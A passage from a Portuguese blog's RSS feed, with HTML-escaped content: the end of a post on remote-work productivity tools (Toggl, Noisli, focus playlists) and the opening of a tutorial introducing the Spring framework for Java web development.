&lt;li&gt;Agende o alarme para o fim da pausa&lt;/li&gt;
&lt;li&gt;Mantenha um registro do número de interrupções&lt;/li&gt;
&lt;li&gt;Mantenha um registro das horas trabalhadas e das pausas&lt;/li&gt;
&lt;li&gt;Repita&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As pausas são definidas por você. Podem ser proporcionais à quantidade de horas que você trabalhou, ou até mesmo ao tipo de tarefa que você está executando.&lt;/p&gt;
&lt;p&gt;O &lt;a href=&quot;https://toggl.com/&quot; title=&quot;Free time tracking&quot;&gt;&lt;em&gt;Toggl&lt;/em&gt;&lt;/a&gt; é um &lt;em&gt;app&lt;/em&gt; incrível, que usei muito quando trabalhava remoto, e que parece se encaixar bem com essa prática.&lt;/p&gt;
&lt;p&gt;Confira o &lt;a href=&quot;https://medium.com/@lightsandcandy/the-flowtime-technique-cheat-sheet-30168b2e31d9#.8qjqfvenq&quot; title=&quot;The Flowtime Technique Cheat Sheet&quot;&gt;&lt;em&gt;cheat sheet&lt;/em&gt; da técnica &lt;em&gt;Flowtime&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;5. Noisli e as playlists para foco&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/271eb85d27be64d86a2b6d8d7049b890/857b3/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAMEBf/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/aAAwDAQACEAMQAAABy2yLtaBCD//EABsQAAIDAAMAAAAAAAAAAAAAAAIDAAETEiEj/9oACAEBAAEFAk56eRsJSyuh6nGf/8QAFREBAQAAAAAAAAAAAAAAAAAAEBH/2gAIAQMBAT8Bp//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABwQAQACAQUAAAAAAAAAAAAAAAEAEQIDEBIykf/aAAgBAQAGPwI5L5Mi6HrLx1AJe/8A/8QAGBAAAwEBAAAAAAAAAAAAAAAAAAERMSH/2gAIAQEAAT8hTpASrug1ylZLiO28LTWn/9oADAMBAAIAAwAAABAT3//EABgRAQADAQAAAAAAAAAAAAAAAAEAESFR/9oACAEDAQE/EBGVKeT/xAAVEQEBAAAAAAAAAAAAAAAAAAAQEf/aAAgBAgEBPxCH/8QAHRABAAICAgMAAAAAAAAAAAAAAQARITFBYXGBof/aAAgBAQABPxCtkKYQA951HexceEiq8a+xKNS/ZWM32L7l1iIUPEsweWNUcep//9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Programador com um notebook e uma representação de ondas sonoras&quot;
        title=&quot;Manter o foco também está relacionado com estímulos sonoros (unsplash.com)&quot;
        src=&quot;/static/271eb85d27be64d86a2b6d8d7049b890/212bf/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg&quot;
        srcset=&quot;/static/271eb85d27be64d86a2b6d8d7049b890/7809d/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg 192w,
/static/271eb85d27be64d86a2b6d8d7049b890/4ecad/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg 384w,
/static/271eb85d27be64d86a2b6d8d7049b890/212bf/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg 768w,
/static/271eb85d27be64d86a2b6d8d7049b890/5ef17/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg 1152w,
/static/271eb85d27be64d86a2b6d8d7049b890/ac99c/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg 1536w,
/static/271eb85d27be64d86a2b6d8d7049b890/857b3/produtividade-matt-collamer-RDBQonsuiU4-unsplash.jpg 6000w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Manter o foco também está relacionado com estímulos sonoros (unsplash.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Não vai importar muito ter a melhor ferramenta de gestão de tempo disponível, mas ficar se distraindo com o barulho da televisão na sala,
ou com o vizinho reformando o apartamento à base de marretadas e furadeira.&lt;/p&gt;
&lt;p&gt;Eu passo horas com fones de ouvido (invista em um bom dispositivo, &lt;a href=&quot;https://veja.abril.com.br/saude/fones-de-ouvido-contribuem-para-a-perda-da-audicao-em-jovens/&quot; title=&quot;Fones de ouvido contribuem para a perda da audição em jovens&quot;&gt;e tome muito cuidado com eles!&lt;/a&gt;),
algumas vezes apenas tirando proveito do &lt;em&gt;noise reduction&lt;/em&gt;, mas em grande parte ouvindo música, &lt;em&gt;podcasts&lt;/em&gt; e &quot;barulhos&quot;.&lt;/p&gt;
&lt;p&gt;Com barulhos estou me referindo ao &lt;a href=&quot;https://www.noisli.com/&quot; title=&quot;Improve focus and boost productivity&quot;&gt;&lt;em&gt;Noisli&lt;/em&gt;&lt;/a&gt;, que é um &lt;em&gt;app&lt;/em&gt; que está no
mercado há certo tempo, e que te permite criar um conjunto de sons que vão preencher o espaço e aumentar o foco.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/740377fe206d15c6a1f505c6dbb12490/0d98f/produtividade-noisli.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 84.375%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAABYlAAAWJQFJUiTwAAACVklEQVQ4y5VUa2sTQRTdPyk2u5tkV9vUmGp9tNqWKn6QYhEriIpSEAQ/FWzNsy/tQ+yLIKUgiohCm2QfebTqHzjes9lNt0vB9MNhZu7cOffcO3dG6bXnkXaWYFglaLU8dKtwJmhWHnEZTTmftIpQMkI25K6i15qHWstBJ6lA6wKBX0IIU/YCLgqHolZzOF/LIiaRNEYUB7VLwrBfTMRwVOIiU9/PwvwxB+3nLBKVPMxKAfH/pM9UjWoBSfrKmWS14AlS4nYRPb/ewvwyg8TXGZgHeaT2i9AqOajWsRI1ooqjcdAGBVEIgyjc7JP877c2MNnawsPmFh40NzFeX8dlexHXnfcYdj5gSMB5WmxX7CXckDlxzcOy1K+ElFdDIRy0l/G0Vcb00S6yf7/j5eFnPJf1qLOKW0L0uLmDKcFtZ8UjJ+6665g+3MW9+keMiH1AgmSsBSgs5k1xeCVkr3/vYfbPN7wTvDnaw5gQjkoHTDY2MdHYwJjMqZRBxt01PGpu444Q02dAlBMK69QvzFP1bTxp7OBFs4xnjTIm3E+4JPZBSYepMV3O2R4sBeeBjSW4ICn3MWU2JdM+V5Wblhun2p5au5WCy4j5UCOIRS7Mb5t2G8RD7XDW1xKGRxhuVN3vv3CLdHovokb3s9NCZzqEfId8j8E6eJ+G2AMC2rgOApCMPgnfp6OQG/1S7Iz3SRS9NZ24pj1QlnYWMVJf84IHPsPuCq7KxahhQs3fNEM/DkcjpPhYYelEygzIH0uLEnZq6K+j9dFDftGaqqfV8MTD74LotDMc/wGen/waLDDkcAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Screenshot do Noisli&quot;
        title=&quot;Barulho de vento, de trem, de chuva, etc (noisli.com)&quot;
        src=&quot;/static/740377fe206d15c6a1f505c6dbb12490/e5715/produtividade-noisli.png&quot;
        srcset=&quot;/static/740377fe206d15c6a1f505c6dbb12490/8514f/produtividade-noisli.png 192w,
/static/740377fe206d15c6a1f505c6dbb12490/804b2/produtividade-noisli.png 384w,
/static/740377fe206d15c6a1f505c6dbb12490/e5715/produtividade-noisli.png 768w,
/static/740377fe206d15c6a1f505c6dbb12490/4ad3a/produtividade-noisli.png 1152w,
/static/740377fe206d15c6a1f505c6dbb12490/0d98f/produtividade-noisli.png 1276w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Barulho de vento, de trem, de chuva, etc (noisli.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;O meu favorito é o barulho de cafeteria. Melhor ainda é usar essa &lt;em&gt;sample&lt;/em&gt; dentro de uma cafeteria real. Mas como estamos em quarentena,
faça um café na sua própria cozinha e aproveite o ambiente.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Playlists&lt;/em&gt; especializadas em foco e produtividade tem ganhado popularidade nos &lt;em&gt;players&lt;/em&gt; de música. &lt;a href=&quot;https://www.spotify.com/&quot; title=&quot;Music for everyone&quot;&gt;&lt;em&gt;Spotify&lt;/em&gt;&lt;/a&gt;,
&lt;a href=&quot;https://www.apple.com/apple-music/&quot; title=&quot;Lose yourself in 60 million songs&quot;&gt;&lt;em&gt;Apple Music&lt;/em&gt;&lt;/a&gt; e &lt;a href=&quot;https://music.youtube.com/&quot; title=&quot;Música, só que no Youtube&quot;&gt;&lt;em&gt;YouTube Music&lt;/em&gt;&lt;/a&gt;,
tem boas opções para diferentes gêneros e gostos.&lt;/p&gt;
&lt;p&gt;A minha favorita é a &lt;a href=&quot;https://open.spotify.com/playlist/0OleqFIhjQzAPG6oEEvpn1?si=GqLXuDqMQu2x6gWUj6NaCA&quot; title=&quot;Ouça no Spotify&quot;&gt;Epic Reading Session&lt;/a&gt;,
criada por um usuário do &lt;em&gt;Spotify&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/6b26d6613ba8548049e0119293ff1073/1105b/produtividade-spotify.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 36.97916666666667%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABD0lEQVQoz52RSUvEQBCF8xNc01m6s3S6k4AimEGQGebkEPAgXnQwix7Eo87/vz3zGjIgAwoePqpepep1FfF24zu+PnYYhy2Wy1s0iwWapvk3Xjs+4fntEZubCg/tBsPLMJkP6LoOfd+72LYtqqpCXdd/4t1t1xg+71GeHSG51qhfV7i4uoQpCmitkSQJ0jR18TfyPHd4MlEIZYST41OcqwCiVhCBgO/7EEI4mM86CIIDzbg3pNC5hrUGMoqhwgmlEEURpJTuDGOM24J16izL9j2MvIB5HMfwwjB0DWVZwpYWZjK21qKYTqYJzThEc0JN2MM51n4YcmWuygZ+4AMzNGJ93oa91IQ/iXM0meeYfwOpPcui1+U5KAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Screenshot da playlist &amp;quot;Epic Reading Session&amp;quot;, do Spotify&quot;
        title=&quot;Curte trilha sonora de filmes? Tenho certeza que você vai gostar dessa playlist (spotify.com)&quot;
        src=&quot;/static/6b26d6613ba8548049e0119293ff1073/e5715/produtividade-spotify.png&quot;
        srcset=&quot;/static/6b26d6613ba8548049e0119293ff1073/8514f/produtividade-spotify.png 192w,
/static/6b26d6613ba8548049e0119293ff1073/804b2/produtividade-spotify.png 384w,
/static/6b26d6613ba8548049e0119293ff1073/e5715/produtividade-spotify.png 768w,
/static/6b26d6613ba8548049e0119293ff1073/4ad3a/produtividade-spotify.png 1152w,
/static/6b26d6613ba8548049e0119293ff1073/71c1d/produtividade-spotify.png 1536w,
/static/6b26d6613ba8548049e0119293ff1073/1105b/produtividade-spotify.png 2940w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Curte trilha sonora de filmes? Tenho certeza que você vai gostar dessa playlist (spotify.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Que grande privilégio que muitos desenvolvedores de &lt;em&gt;software&lt;/em&gt; têm de, colaborar com a quarentena ficando em casa,
e ainda assim poder trabalhar.&lt;/p&gt;
&lt;p&gt;Se você é desenvolvedor, e a sua empresa não está incentivando o trabalho remoto, faça questão de mostrar
o exemplo de outros gigantes da indústria ao promoverem essa modalidade, e que há ferramentas para manter-se
produtivo mesmo fazendo &lt;em&gt;home-office&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Ficar em casa é um ato de humanidade.&lt;/p&gt;
&lt;p&gt;Mas lembre-se: É impossível ser produtivo
o tempo todo. Procrastinar também faz parte. Tente sempre que possível achar um equilíbrio.&lt;/p&gt;
&lt;p&gt;Permita-se sentir tédio, permita-se não fazer nada. E se &quot;passar tempo demais com você mesmo&quot; está te fazendo subir pelas
paredes, &lt;a href=&quot;https://www.headspace.com/&quot; title=&quot;Be kind to your mind&quot;&gt;tente &lt;em&gt;mindfullness&lt;/em&gt;&lt;/a&gt;, ou consulte um psicólogo.&lt;/p&gt;
&lt;p&gt;Para os céticos (em relação ao Corona), fica esse excelente vídeo do &lt;em&gt;Jovem Nerd&lt;/em&gt; falando sobre o &quot;presente cyberpunk distópico&quot;:&lt;/p&gt;
&lt;iframe src=&quot;https://www.youtube.com/embed/PbmNvQ5Iwus&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;E você? Tem alguma sugestão de ferramenta ou prática para dar? Deixe a sua contribuição nos comentários abaixo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;#fiqueemcasa&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://jamesclear.com/eisenhower-box&quot;&gt;James Clear - How to be More Productive and Eliminate Time Wasting Activities by Using the “Eisenhower Box&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@lightsandcandy/abandoning-pomodoros-part-one-the-pros-and-cons-of-pomos-e3f3e9342ac9#.49nl4ljyp&quot;&gt;Medium - Abandoning Pomodoros, Part One: The Pros and Cons of Pomos&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@lightsandcandy/the-flowtime-technique-7685101bd191&quot;&gt;Medium - The Flowtime Technique&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://simplesfica.com/como-a-tecnica-pomodoro-mudou-a-nossa-rotina/&quot;&gt;Simplefica.com - Como a técnica Pomodoro mudou a nossa rotina&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://get.todoist.help/hc/pt-br/articles/210762449-Matriz-de-Eisenhower-com-Todoist&quot;&gt;Todoist - Matriz de Eisenhower com Todoist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Engatinhando em Java para a web: Spring Boot]]></title><description><![CDATA[No post anterior, finalizamos a introdução
a alguns aspectos utilizados pelo Java EE para construção de aplicações web. Se você acompanhou…]]></description><link>https://klauslaube.com.br/2020/05/20/engatinhando-em-java-web-spring-boot.html</link><guid isPermaLink="false">https://klauslaube.com.br/2020/05/20/engatinhando-em-java-web-spring-boot.html</guid><pubDate>Wed, 20 May 2020 05:25:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2019/12/10/engatinhando-em-java-web-parte-3.html&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt;, finalizamos a introdução
a alguns aspectos utilizados pelo &lt;em&gt;Java EE&lt;/em&gt; para construção de aplicações &lt;em&gt;web&lt;/em&gt;. Se você acompanhou
os artigos até aqui, e achou tudo muito doloroso, você não está sozinho.&lt;/p&gt;
&lt;p&gt;Desenvolvedores, com o passar do tempo, ansiavam por alternativas menos burocráticas para
desenvolver suas soluções. E foi em 2003, seguindo essa premissa, que &lt;em&gt;Rob Johnson&lt;/em&gt; lançava a versão 1.0 do &lt;em&gt;Spring&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Antes do Boot. O que é Spring?&lt;/h2&gt;
&lt;p&gt;Como a maioria das coisas do mundo &lt;em&gt;Java&lt;/em&gt;, a resposta para essa pergunta pode ser mais complicada do que parece.&lt;/p&gt;
&lt;p&gt;Uma das definições da &lt;a href=&quot;https://spring.io/why-spring&quot;&gt;documentação oficial&lt;/a&gt; é a seguinte:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Spring makes programming Java quicker, easier, and safer for everybody. Spring’s focus on speed, simplicity, and productivity has made it the world&apos;s most popular Java framework.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;O &lt;em&gt;Spring&lt;/em&gt; começou como uma resposta à complexidade do &lt;em&gt;J2EE&lt;/em&gt;. Atualmente ele deve ser compreendido
como um &quot;complemento&quot; à mesma, ou seja, a comunidade do &lt;em&gt;Spring&lt;/em&gt; de fato adota partes da especificação &lt;em&gt;Java EE&lt;/em&gt;,
e com isso torna possível desenvolver aplicações &quot;enterprise&quot; com maior facilidade.&lt;/p&gt;
&lt;p&gt;Flexibilidade, modularização, retrocompatibilidade, uma grande e ativa comunidade, e evolução contínua
(além da sua famosa &lt;a href=&quot;/2015/10/24/injecao-de-dependencia.html&quot; title=&quot;DI explicada com Angular&quot;&gt;&lt;em&gt;Dependency Injection&lt;/em&gt;&lt;/a&gt;),
fazem do &lt;em&gt;Spring&lt;/em&gt; um dos &lt;em&gt;frameworks&lt;/em&gt; &lt;em&gt;Java&lt;/em&gt; mais famosos do mercado.&lt;/p&gt;
&lt;p&gt;Logo, como tantos outros &lt;em&gt;frameworks&lt;/em&gt; espalhados por aí, o propósito do &lt;em&gt;Spring&lt;/em&gt; é facilitar e acelerar o desenvolvimento, provendo
bibliotecas e ferramentas que te permitam focar no negócio. No entanto, quando falamos em &quot;Spring&quot;,
provavelmente estamos falando de todo o seu ecossistema.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ce9d25f7605c402a2fc1faee4491aad5/3dde1/spring-hierarchy.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACp0lEQVQozz2Ra2/TZhTH85mmvePyUfYGIXEpKwVN00S3oQnQQKKUAtNKW5a2K21V0iZr09rk4sZOfI3t2E5sV8tWxm3ap/jtxJt48dc5z/P/nfMcH5emKg6fz9U5/0Tl7ILC2ScKZySek/PFbYvLrxwuSLxScbm0Y/PFRrfwJ1zBi84/VfnsYZ2v931KM1WfF/23bMcf2Yw+8FK0+b/20n9Ys3J+MYaiEVv+KZXR35/8gh+8Z1fu7rZzrsrjpRs1nwXnL5aD9yyJlsMPPJf43H/HkuTznZQfVZ/7asAz64/irvCEWZF8UfJy9JHZZs6Xuy6l6Wqfu/qYp/13PLROuWeMeWS/4bH7lge9P/mhkXBPCbhzKNzxiTBvWBBvTthJ3bywP0ntTD3h2qTh7IFPp5+gmy4NJ2ZRi1DaXQ4OX7PdjVnvRLj9AZYfs6QNUIUxLI9uMGJO6eMEMf5gWLDTk4a3D0OGwxxNVbCDhE0zxbNsLK2N4qVUrQSz1cQyurxychq6hbq/j26YLB/HjLOc0zxH7Wf/NZzZdZiXHa31Mh7Jnm7s9FiWSVb1mNs1m1tVm/Veyoo+5KZ4c8KuyvlZK+TqpsFKJ5HalG8qJtcqxYQBoySloxzhhQk7dobX6+K0GzSDjJoVF7lj6FScVD4x4vioTjyIKMvfH/p9dPUI1R1yfW+yw3pE089o2xFHMvbjRojmnaB7ORu933lxnGF44kuzn7VMmDGaM6IdjHkg0xrhpDak3BkwUw0pWVkHI+7RHbXoRC30xETxN1CDDerer6I1moMtXocvOXBXpeG6eCJ/Cz1ypVbDSg302MY5MSj5w3UMYw/dXkS3ylhWjWr7Eor5FU3nW9EsB/o0Lef7Im853/GbPkVNm8JzFbrOCqZXpmfu4o/W+BesjrcMYOxoWAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Organograma do ecossistema Spring&quot;
        title=&quot;Conheça a família Spring (pluralsight.com)&quot;
        src=&quot;/static/ce9d25f7605c402a2fc1faee4491aad5/e5715/spring-hierarchy.png&quot;
        srcset=&quot;/static/ce9d25f7605c402a2fc1faee4491aad5/8514f/spring-hierarchy.png 192w,
/static/ce9d25f7605c402a2fc1faee4491aad5/804b2/spring-hierarchy.png 384w,
/static/ce9d25f7605c402a2fc1faee4491aad5/e5715/spring-hierarchy.png 768w,
/static/ce9d25f7605c402a2fc1faee4491aad5/3dde1/spring-hierarchy.png 1018w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Conheça a família Spring (pluralsight.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Chegaremos no &lt;em&gt;Spring Boot&lt;/em&gt;, mas antes, vamos por partes, como diria aquele famoso &lt;em&gt;serial killer&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O Spring Framework&lt;/h2&gt;
&lt;p&gt;A definição do &lt;em&gt;Spring&lt;/em&gt; como plataforma pode ser utilizada para compreender o &lt;em&gt;Spring&lt;/em&gt; como &lt;em&gt;framework&lt;/em&gt;. Segundo
a &lt;a href=&quot;https://spring.io/projects/spring-framework&quot; title=&quot;Spring Framework documentation&quot;&gt;documentação oficial&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The Spring Framework provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Uma de suas principais características é lidar com aspectos de aplicações &lt;em&gt;enterprise&lt;/em&gt;,
para que desenvolvedores possam focar em lógica de negócio a nível de aplicação. Outros
benefícios podem ser resumidos em:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Promove &lt;em&gt;loose coupling&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Oferece ferramentas que facilitam a escrita de testes;&lt;/li&gt;
&lt;li&gt;Diminui a quantidade de &lt;em&gt;boilerplate code&lt;/em&gt; para &lt;em&gt;singletons&lt;/em&gt; e &lt;em&gt;factories&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Suporta configuração via &lt;em&gt;XML&lt;/em&gt; e de forma programática via &lt;em&gt;annotations&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Há outros fatores cruciais do &lt;em&gt;framework&lt;/em&gt;, como o já citado &lt;em&gt;Dependency Injection&lt;/em&gt;
(e &lt;em&gt;Inversion of Control&lt;/em&gt;). Com tais características, e com a premissa de abordar diferentes áreas de uma aplicação, é inevitável que o &lt;em&gt;Spring&lt;/em&gt; torne-se
algo complexo.&lt;/p&gt;
&lt;p&gt;Logo, o &lt;em&gt;framework&lt;/em&gt; é separado em seis &quot;áreas fundamentais&quot;.&lt;/p&gt;
&lt;h3&gt;1: Core&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f1ab33dcd8dbef349722e51782c6697e/9b29b/spring-core-hierarchy.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 30.729166666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABvklEQVQY0zWOwUtTARzHH3ToH4gOHaJD0KEWdDAIglHpe2+2YUUmE6II2njqHLGiDLtYXSocdtk8ZaMyWuZK5x5vTyvbXrPaCEGdh4LSxorSUjfRmJ/eHnT48IUf38+Xn7BR+sPG7Hsq+Qx8naK4ssqb+QXG534xu1BmuVxg/mfWYqn8jUJhmemZIjP57ywulvj96QvFj9P8mMyztrSCUNHvU2nawvqZHeCzERh8hXBLZdOdOHv6DGKZC9x9YaNnaC+xtz4uXR6hqTnCsVMRQj06ww3neHCwkb59R8lH4wjEQ+Deyl/FBi27OP9IRbitsTmosq13nIFMG72JGsLqfgYML63tMU6f7eeE+yHdN0d4Xuvm8aFm7u0WmYo8Q1ifiLPqq6HkPwDXGwi+/MD28Cg7wxqNgzkS724QGjpMePgIiYkuuoOvUXxP8LZFifZnGPNf4+lJhehxD5/1FMLVzk7sdjsOWUKWZRz19YiSRK0o4nK5CAQuorQoeLwe/O1+nE4ndXUioiiZXYflyJJsbVzp6EDI5cwvVJWkrqMlk2iahm5m0qSahmFYpFIp0um0df9PtVt1dNNVzY1sNss/BZ9PrhOKLMoAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Organograma do Spring Framework mostrando suas seis áreas&quot;
        title=&quot;Spring Core e sua relação com os demais módulos (pluralsight.com)&quot;
        src=&quot;/static/f1ab33dcd8dbef349722e51782c6697e/e5715/spring-core-hierarchy.png&quot;
        srcset=&quot;/static/f1ab33dcd8dbef349722e51782c6697e/8514f/spring-core-hierarchy.png 192w,
/static/f1ab33dcd8dbef349722e51782c6697e/804b2/spring-core-hierarchy.png 384w,
/static/f1ab33dcd8dbef349722e51782c6697e/e5715/spring-core-hierarchy.png 768w,
/static/f1ab33dcd8dbef349722e51782c6697e/4ad3a/spring-core-hierarchy.png 1152w,
/static/f1ab33dcd8dbef349722e51782c6697e/71c1d/spring-core-hierarchy.png 1536w,
/static/f1ab33dcd8dbef349722e51782c6697e/9b29b/spring-core-hierarchy.png 3840w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
